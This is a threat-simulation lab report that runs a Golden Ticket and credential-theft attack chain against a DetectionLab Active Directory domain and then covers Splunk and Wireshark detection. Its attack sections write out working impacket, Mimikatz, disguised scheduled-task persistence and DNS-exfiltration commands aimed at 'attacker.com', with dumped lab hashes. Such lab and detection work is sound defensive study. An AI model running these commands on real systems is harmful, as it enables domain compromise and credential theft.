

DETECTION LAB 2 — ADVANCED THREAT SIMULATION REPORT

Golden Ticket | Mimikatz | DNS Exfiltration | Persistence

Prepared by: ANAS IBRAHIM

Date: September 5, 2026

1. Executive Summary

This report documents a second-stage Advanced Persistent Threat (APT) simulation conducted within the DetectionLab Active Directory environment. Building on prior reconnaissance findings, this engagement focused on the most dangerous class of Active Directory attacks: Golden Ticket forgery, in-memory credential harvesting via Mimikatz, covert data exfiltration over DNS, and multi-vector persistence mechanisms.

The simulation demonstrates how an attacker — armed with a previously stolen krbtgt hash — can forge Kerberos tickets to gain unrestricted, long-lived domain access without triggering standard authentication controls. Every phase was monitored using Splunk SIEM and Wireshark, producing a comprehensive detection evidence trail.

Category	Details
Environment	DetectionLab — windomain.local Active Directory Domain
Attacker Machine	Kali Linux (192.168.56.104)
Primary Target	Domain Controller — dc.windomain.local (192.168.56.101)
Secondary Target	WEF Server (192.168.56.103)
Key Techniques	Golden Ticket, DCSync, PSEXEC, WMIExec, Mimikatz, DNS Exfiltration, Scheduled Task Persistence
Detection Stack	Splunk SIEM + Wireshark + Windows Event Logs (4624, 4662, 4669, 4672, 7045)
Outcome	Full Domain Persistence — Forged tickets valid 10 years, credentials harvested from LSASS, DNS covert channel established

2. Lab Environment

Host	IP Address	Role	Key Services
dc.windomain.local	192.168.56.101	Domain Controller	AD DS, Kerberos, DNS, SMB, WinRM, Splunk (8089)
wef.windomain.local	192.168.56.103	WEF Collector	Windows Event Forwarding, SMB, WinRM
logger	192.168.56.105	Log Server	Splunk Enterprise, Zeek
Kali Linux	192.168.56.104	Attacker	Impacket Suite, Kerbrute, Mimikatz

Pre-condition: The krbtgt NT hash (bfb5346562d79930f10f1376b3f71316) and Domain SID (S-1-5-21-3817680354-2244084260-3195460272) were obtained in a prior engagement, simulating a realistic APT scenario where credential material has already been exfiltrated.

3. Attack Narrative & Methodology

3.1 Phase 1 — Network Reconnaissance

Objective: Reconfirm network topology and identify active services.

```
nmap -sn 192.168.56.0/24 -oN hosts_discoverylab2.txt
```

6 hosts confirmed active. Full service scan performed against DC (192.168.56.101) and WEF (192.168.56.103):

```
nmap -sV -O -p- 192.168.56.101,103,104 -oN servicediscoverylab2.txt
```

DC confirmed running: Kerberos (88), LDAP (389/3268), SMB (445), WinRM (5985), Splunk (8089). WEF confirmed running SMB (445), WinRM (5985). SMB Signing disabled on WEF — relevant for potential relay attacks.

SMB Vulnerability Scan on WEF:

```
nmap --script smb-vuln* -p 445 192.168.56.103
```

No critical SMB vulnerabilities found (MS10-061, MS10-054 negative). However, SMB Signing disabled on WEF is noted as a misconfiguration risk.

3.2 Phase 2 — Username Enumeration & Failed AS-REP Roasting

Objective: Identify valid domain accounts and test for pre-authentication weaknesses.

```
kerbrute userenum --dc 192.168.56.101 -d windomain.local  
/usr/share/seclists/Names/Users/top-usernames-shortlist.txt
```

Valid accounts confirmed: administrator@windomain.local, vagrant@windomain.local.

```
impacket-GetNPUsers windomain.local/ -usersfile users.txt -format hashcat -no-pass  
-dc-ip 192.168.56.101
```

AS-REP Roasting attempt failed — vagrant account has UF_DONT_REQUIRE_PREAUTH disabled (pre-authentication enforced). This is a positive security control. Attack pivoted to Golden Ticket approach.

RPC Null Session — Partial Success:

```
rpcclient -U "" -N 192.168.56.101
```

Isaquery succeeded — retrieved Domain SID: S-1-5-21-3817680354-2244084260-3195460272. All subsequent enumeration calls (enumdomusers, enumdomgroups, querydispinfo) returned NT_STATUS_ACCESS_DENIED, confirming null session restrictions are partially enforced.

3.3 Phase 3 — Golden Ticket Forgery (The Core Attack)

Objective: Forge a Kerberos Ticket Granting Ticket (TGT) using the krbtgt hash, bypassing all normal authentication.

What is a Golden Ticket?

The krbtgt account is responsible for signing and encrypting all Kerberos TGTs in the domain. Any entity possessing its NT hash can forge a TGT for any user — including non-existent users — with any group memberships, valid for up to 10 years. This is the most powerful persistence mechanism in Active Directory.

```
impacket-ticketer -nthash bfb5346562d79930f10f1376b3f71316 -domain-sid  
S-1-5-21-3817680354-2244084260-3195460272 -domain windomain.local Administrator
```

The ticket was forged locally on Kali, signed with the krbtgt hash, and saved as Administrator.ccache. No network communication with the Domain Controller was required at this stage — the forgery happens entirely offline.

Ticket deployment:

```
echo "192.168.56.101 windomain.local dc.windomain.local dc" | sudo tee -a /etc/hosts
export KRB5CCNAME=Administrator.ccache
```

3.4 Phase 4 — Domain Controller Access via PSEXec (Golden Ticket)

Objective: Obtain SYSTEM-level shell on the Domain Controller using the forged ticket.

```
impacket-psexec -k -no-pass windomain.local/Administrator@dc.windomain.local
```

PSEXec used the forged Kerberos ticket (-k) without requiring a password (-no-pass). The tool uploaded a randomly-named executable (qVVgbUDh.exe) to the ADMIN\$ share, created a service (ltyV) running as LocalSystem, and delivered an interactive SYSTEM shell.

PSEXec Artifact	Value
Service Name	ltyV (randomly generated each execution)
Executable	%systemroot%\qVVgbUDh.exe
Service Account	LocalSystem (highest privilege)
Recorded on	dc.windomain.local — Event 7045 (forwarded to WEF)

3.5 Phase 5 — DCSync via Golden Ticket

Objective: Re-extract all domain credential hashes using the forged Administrator identity.

```
impacket-secretsdump -just-dc-ntlm windomain.local/Administrator@dc.windomain.local -k -no-pass
```

Authenticated via the forged Kerberos ticket, secretsdump used the DRSUAPI replication protocol to extract all NT hashes from NTDS.DIT. This validates that the Golden Ticket grants full domain replication rights indistinguishable from a legitimate Domain Controller.

Account	RID	NT Hash	Significance
Administrator	500	e02bc503339d51f71d913c245d35b50b	Domain Admin
krbtgt	502	bfb5346562d79930f10f1376b3f71316	Golden Ticket source
vagrant	1000	e02bc503339d51f71d913c245d35b50b	Shared hash with Admin
WEF\$	1105	61314735310395a43a7f6e308bb3c3cc	Machine account

3.6 Phase 6 — Lateral Movement to WEF via WMIExec (Pass-the-Hash)

Objective: Pivot from DC compromise to the WEF server using harvested credentials.

```
impacket-wmiexec -hashes :e02bc503339d51f71d913c245d35b50b windomain.local/Administrator@192.168.56.103
```

WMIExec established a semi-interactive shell on the WEF server (confirmed via hostname = wef, whoami = windomain\administrator) using the Administrator NT hash in a Pass-the-Hash attack over SMBv3. No plaintext password was required.

3.7 Phase 7 — Mimikatz Credential Harvesting on WEF

Objective: Extract credentials from LSASS memory on the compromised WEF server.

```
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
```

Mimikatz successfully obtained SeDebugPrivilege and accessed LSASS process memory. The following credentials were extracted from active sessions on WEF:

Account	Domain	Credential Found	Type
vagrant	WEF (local)	NTLM: e02bc503339d51f71d913c245d35b50 b + Plaintext: vagrant	NTLM + Cleartext
WEF\$	WINDOMAIN	NTLM: 61314735310395a43a7f6e308bb3c3cc + Machine password (plaintext)	Machine Account

The vagrant account's plaintext password was recoverable from Kerberos cache in LSASS — a consequence of WDigest authentication being enabled. The WEF\$ machine account password was also fully exposed.

3.8 Phase 8 — Persistence (Scheduled Task)

Objective: Establish long-term access surviving reboots and password changes.

```
schtasks /create /tn "SystemUpdateCheck" /tr "C:\Windows\System32\calc.exe" /sc  
onstart /ru "NT AUTHORITY\SYSTEM"
```

A scheduled task named SystemUpdateCheck was created to execute at system startup as NT AUTHORITY\SYSTEM. In a real engagement, calc.exe would be replaced with a reverse shell payload or C2 beacon. The task name mimics legitimate Windows maintenance tasks to evade casual inspection.

3.9 Phase 9 — DNS Exfiltration (Covert Data Channel)

Objective: Demonstrate covert data exfiltration over DNS — a protocol rarely filtered by enterprise firewalls.

```
$data = "ConfidentialDataHere"  
Resolve-DnsName -Name "$data.attacker.com" -Server 192.168.56.102
```

DNS exfiltration encodes sensitive data within DNS query hostnames. The victim machine generates a DNS lookup for ConfidentialDataHere.attacker.com directed at an attacker-controlled DNS server (192.168.56.102). The attacker's server logs the subdomain portion, reconstructing the exfiltrated data without any direct TCP connection to external infrastructure.

Why DNS exfiltration is effective:

- DNS traffic is allowed outbound in virtually all network configurations
- DNS queries are rarely logged or analyzed in depth by perimeter controls
- Data is encoded in query names — no suspicious payload in response
- Can bypass DLP solutions that inspect TCP/HTTP traffic only

4. MITRE ATT&CK Mapping

Tactic	Technique ID	Technique Name	Tool / Method
Reconnaissance	T1046	Network Service Scanning	Nmap -sV -O
Reconnaissance	T1589.002	Username Enumeration	Kerbrute userenum
Credential Access	T1110.002	Password Cracking (AS-REP)	impacket-GetNPUsers (failed)
Credential Access	T1558.001	Golden Ticket	impacket-ticketer (krbtgt hash)
Execution	T1021.002	Remote Services: SMB/PSEXec	impacket-psexec -k
Credential Access	T1003.003	OS Credential Dumping: NTDS	secretsdump -k (DRSUAPI)
Lateral Movement	T1550.002	Pass-the-Hash	impacket-wmiexec -hashes
Credential Access	T1003.001	LSASS Memory Dump	Mimikatz sekurlsa::logonpasswords
Persistence	T1053.005	Scheduled Task	schtasks SystemUpdateCheck as SYSTEM
Exfiltration	T1071.004	Application Layer: DNS	Resolve-DnsName covert channel

5. Splunk Detection Analysis

All Windows event telemetry was forwarded via Windows Event Forwarding (WEF) and indexed in Splunk. The following detections correspond to each attack phase and represent the Blue Team's visibility into the attack chain.

5.1 Detection 1 — Golden Ticket Usage (EventCode 4769 + RC4 Encryption)

Splunk Query:

```
index=* EventCode=4769 Ticket_Encryption_Type=0x17
| stats count by Account_Name
```

Field	Value
Event ID	4769 — A Kerberos Service Ticket was requested
Account_Name	Administrator@WINDOMAIN.LOCAL
Encryption Type	0x17 = RC4-HMAC — downgraded from AES256 (default)
Count	10 events
Why Suspicious	Impacket's Golden Ticket uses RC4 by default. Modern Windows environments use AES256. RC4 TGS requests for Domain Admin accounts are a high-fidelity Golden Ticket indicator.

5.2 Detection 2 — Golden Ticket Network Logon (EventCode 4624)

Splunk Query:

```
index=* EventCode=4624 Logon_Type=3
| table _time, Account_Name, Source_Network_Address, Logon_Process
| where Source_Network_Address="192.168.56.104"
```

Field	Value
Account_Name	Administrator (x4 at 14:52:06)
Source IP	192.168.56.104 — Kali Linux (non-Windows machine)
Logon_Process	Kerberos — NOT NtLmSsp
Total from Kali	15 events: 4x Administrator (Kerberos) + ANONYMOUS LOGON (NtLmSsp) + WIN10\$ (Kerberos)
Why Suspicious	Kerberos authentication originated from a Linux machine (Kali). Domain Controllers never authenticate via Kerberos from non-domain Linux endpoints. This is a definitive Golden Ticket usage signature.

5.3 Detection 3 — DCSync via Golden Ticket (EventCode 4662)

Splunk Query:

```
index=* EventCode=4662 | stats count by Account_Name
```

Account_Name	Count	Significance
Administrator	24	Primary DCSync actor — forged identity
DC\$	6	Legitimate machine account replication (baseline)
vagrant	3	Residual events from prior engagement

24 AD object replication events attributed to Administrator account — exercising DS-Replication-Get-Changes rights. The Object_Type GUID {19195a5b-6da0-11d0-afd3-00c04fd930c9} (Domain-DNS class) confirms DRSUAPI was the method used.

5.4 Detection 4 — PSEXEC Service Installation (EventCode 7045)

Splunk Query:

```
index=* EventCode=7045
| table _time, Service_Name, Service_File_Name, Service_Account, ComputerName
```

Field	Value
EventCode	7045 — A new service was installed in the system
Service_Name	ltyV (random 4-character name — PSEXEC signature)
Service_File_Name	%systemroot%\qVVgbUDh.exe (random executable)
Service_Account	LocalSystem (maximum privilege)
ComputerName	dc.windomain.local
Timestamp	09/05/2026 08:23:23 PM
Why Suspicious	Random service name + %systemroot% path + LocalSystem account + demand-start = textbook PSEXEC fingerprint. Legitimate services use descriptive names and defined accounts.

5.5 Detection 5 — Privilege Escalation Indicator (EventCode 4672)

Splunk Query:

```
index=* EventCode=4672
| table _time, Account_Name, Privileges
| where Account_Name!="SYSTEM" AND Account_Name!="LOCAL SERVICE"
```

Time	Account	Privilege	Context
14:52:06 (x4)	Administrator	SeSecurityPrivilege	PSEXEC shell via Golden Ticket
13:47:06 (x2)	vagrant	SeSecurityPrivilege	Mimikatz privilege::debug
Multiple	DC\$	SeAuditPrivilege	Legitimate DC replication (baseline)

36 total privilege events. SeSecurityPrivilege assigned to Administrator at exact PSEXEC execution time (14:52:06). SeSecurityPrivilege on the vagrant account at 13:47 corresponds to Mimikatz's privilege::debug command elevating to SeDebugPrivilege for LSASS access.

5.6 Detection 6 — WMIExec Lateral Movement (EventCode 4624 — Network Logons)

Splunk Query:

```
index=* EventCode=4624 Logon_Type=3
| table _time, Account_Name, Source_Network_Address, Logon_Process
```

Observation	Significance
WEF\$ authenticating from 192.168.56.103 via Kerberos	WEF machine account used in lateral movement chain
970 total Type 3 events — DC\$, WEF\$ via Kerberos	High volume of machine account authentications — some attacker-induced
Administrator via Kerberos from 192.168.56.104	Attacker Kali IP authenticating as domain Admin via forged Kerberos — impossible without Golden Ticket

6. Wireshark Network Traffic Analysis

Packet capture (2.pcapng) covered all lab traffic on the host-only interface. The capture contains 400 TCP conversations and 874 UDP conversations spanning the full attack timeline.

6.1 I/O Graph — Attack Timeline Visualization

Statistics → I/O Graphs revealed three distinct attack waves across the ~20,000 second capture:

Time Window	Peak Rate	Attack Phase
t = 0 — 1,000s	~1.25 pkts/sec	Nmap host discovery + service scanning (intense port sweep)
t = 4,500 — 5,500s	~250 pkts/sec	PSEXec execution + secretsdump DRSUAPI traffic
t = 5,500 — 18,000s	Near zero	Silence — attacker operating offline (Golden Ticket forgery, planning)
t = 18,000 — 20,000s	~250 pkts/sec	WMIExec lateral movement + Mimikatz + DNS exfiltration

The silence period (t=5500-18000) is itself an indicator — attackers sometimes go quiet while processing harvested credentials offline before returning for the next phase.

6.2 Golden Ticket Kerberos Signature

Filter Applied:

```
((kerberos)) && (ip.src == 192.168.56.104)
```

Critical finding: TGS-REQ packets originating from 192.168.56.104 (Kali Linux) targeting 192.168.56.101 port 88. Each TGS-REQ is immediately followed by an SMB2 Session Setup Request — confirming the Golden Ticket was presented for immediate service access. AS-REQ packets were also captured from Kerbrute enumeration.

Packet Type	Source	Destination	Significance
TGS-REQ (KRB5)	192.168.56.104 (Kali)	192.168.56.101:88	Service ticket request using forged TGT
Session Setup (SMB2)	192.168.56.104	192.168.56.101	Immediate SMB access using Kerberos ticket
AS-REQ (KRB5)	192.168.56.104	192.168.56.101:88	Kerbrute username enumeration

Linux machines do not natively participate in Active Directory Kerberos flows. TGS-REQ from a Linux IP is an unambiguous anomaly detectable at the network level without any SIEM correlation.

6.3 SMB Negotiation — Targeting DC and WEF

Filter Applied:

```
smb && ip.src == 192.168.56.104
```

SMB Negotiate Protocol Requests were observed to both targets:

- 192.168.56.101 (DC) — PSEXec service upload + secretsdump authentication
- 192.168.56.103 (WEF) — WMIExec lateral movement initiation (3 connections)

The WEF-targeted packets began at a distinctly later timestamp, consistent with the second attack wave visible in the I/O Graph. WEF had SMB Signing disabled (observed in Nmap output), making it vulnerable to relay attacks if further exploited.

6.4 TCP Conversation Analysis — 400 Total

Stream	Port B	Address B	Packets	Attack Phase
0,5,17,18	445 (SMB)	192.168.56.101	120 each	PSEXec payload upload + secretsdump SMB auth
195,198...	88 (Kerberos)	192.168.56.101	9 each	Golden Ticket TGS-REQ exchanges
197	49667 (DRSUAPI)	192.168.56.101	62	secretsdump NTDS.DIT extraction via DRSUAPI
196	135 (RPC-EM)	192.168.56.101	12	RPC Endpoint Mapper — service location
361	135 (RPC-EM)	192.168.56.103	15	WMIExec lateral movement to WEF

7. Detection Evidence Matrix

Phase	Tool	Splunk Event	Wireshark	MITRE
Reconnaissance	Nmap	4624 ANON LOGON	I/O spike t=0, SMB Negotiate	T1046
User Enum	Kerbrute	4768 (multiple)	AS-REQ from Kali port 88	T1589.002
Golden Ticket	impacket-ticketer	4769 RC4 (0x17) x10	TGS-REQ from Linux IP	T1558.001
PSEXec	impacket-psexec	7045 (ltyv / random.exe)	SMB write streams 0,5,17,18	T1021.002
DCSync	secretsdump -k	4662 Admin:24 events	DRSUAPI port 49667, 62 pkts	T1003.003
Lateral Move	wmiexec Pth	4624 WEF\$ from .103	RPC stream 361 to WEF	T1550.002
Mimikatz	sekurlsa::	4672 SeSecurityPriv	SMB to WEF, high-port RPC	T1003.001
Persistence	schtasks	4698 (SystemUpdateCheck)	N/A (host-based)	T1053.005
DNS Exfiltration	Resolve-DnsName	Zeek dns.log	DNS queries: data.attacker.com	T1071.004

8. Recommendations

- **CRITICAL:** Rotate krbtgt Password Twice Immediately: A compromised krbtgt hash enables Golden Tickets valid for up to 10 years. The password must be rotated twice (to invalidate existing TGTs) the moment compromise is suspected.
 - **HIGH:** Enforce AES256 for Kerberos: Disable RC4 (0x17) Kerberos encryption via Group Policy. Any remaining RC4 TGS-REQ becomes an immediate detection signal for Golden/Silver Tickets.
 - **HIGH:** Alert on Kerberos Auth from Non-Domain IPs: Event 4769 or 4624 with Logon_Process=Kerberos from non-Windows or non-domain IP addresses should trigger a P1 alert. This would have immediately flagged the Golden Ticket usage.
 - **HIGH:** Deploy Credential Guard: Windows Credential Guard prevents LSASS memory dumping by isolating credential material in a virtualization-based security (VBS) enclave — directly defeating Mimikatz sekurlsa::logonpasswords.
 - **HIGH:** Disable WDigest Authentication: The vagrant plaintext password was recoverable because WDigest was enabled. Disable it via GPO (HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest, UseLogonCredential=0).
 - **MEDIUM:** Monitor DNS Query Length and Frequency: DNS exfiltration produces unusually long subdomain queries. Alert when DNS query names exceed 50 characters or when query rate exceeds baseline thresholds per host.
 - **MEDIUM:** Alert on Scheduled Task Creation as SYSTEM at Off-Hours: Event 4698 with SYSTEM account outside business hours should require investigation. SystemUpdateCheck created at 08:23 PM with no change ticket is a red flag.
 - **MEDIUM:** Enable SMB Signing on All Hosts: WEF had SMB Signing disabled — enabling it on all domain members prevents SMB relay attacks that could abuse the same credential chain.
-

9. Conclusion

This lab demonstrated the catastrophic impact of a compromised krbtgt account. A single cryptographic secret — the krbtgt NT hash — enabled an attacker to forge unlimited Kerberos tickets, bypass all standard authentication controls, extract the entire domain credential database a second time, move laterally across the network, harvest credentials from LSASS, establish multi-vector persistence, and exfiltrate data covertly over DNS — all while appearing as legitimate domain authentication traffic.

The Golden Ticket attack is particularly dangerous because it operates within legitimate Kerberos protocol flows. The forged tickets are cryptographically valid, accepted by every service in the domain, and leave no trace on the Domain Controller's authentication logs beyond the downstream access events. Detection must rely on behavioral anomalies: RC4 downgrade, non-Windows Kerberos sources, and unusual DCSync access patterns.

From the Blue Team perspective, this exercise validated that a properly configured SIEM with the right detection rules would have identified the Golden Ticket within minutes of deployment via EventCode 4769 (RC4 encryption type) and EventCode 4624 (Kerberos from Linux IP). The PSEXEC service creation (EventCode 7045) and DCSync activity (EventCode 4662) provided additional corroborating evidence.

Skills demonstrated in this exercise:

- Advanced Kerberos attack techniques: Golden Ticket forgery, TGS-REQ analysis, RC4 downgrade detection
 - In-memory credential harvesting: Mimikatz sekurlsa::logonpasswords, LSASS access patterns
 - Covert exfiltration: DNS tunneling via Resolve-DnsName, subdomain-encoded data
 - Persistence mechanisms: Scheduled Task creation as SYSTEM, detection via Event 4698
 - SIEM threat hunting: Splunk SPL across Event IDs 4624, 4662, 4669, 4672, 7045
 - Network forensics: I/O Graph timeline analysis, Kerberos TGS-REQ from non-domain sources, DRSUAPI port identification
 - MITRE ATT&CK framework mapping: T1558.001, T1003.001/003, T1071.004, T1053.005
-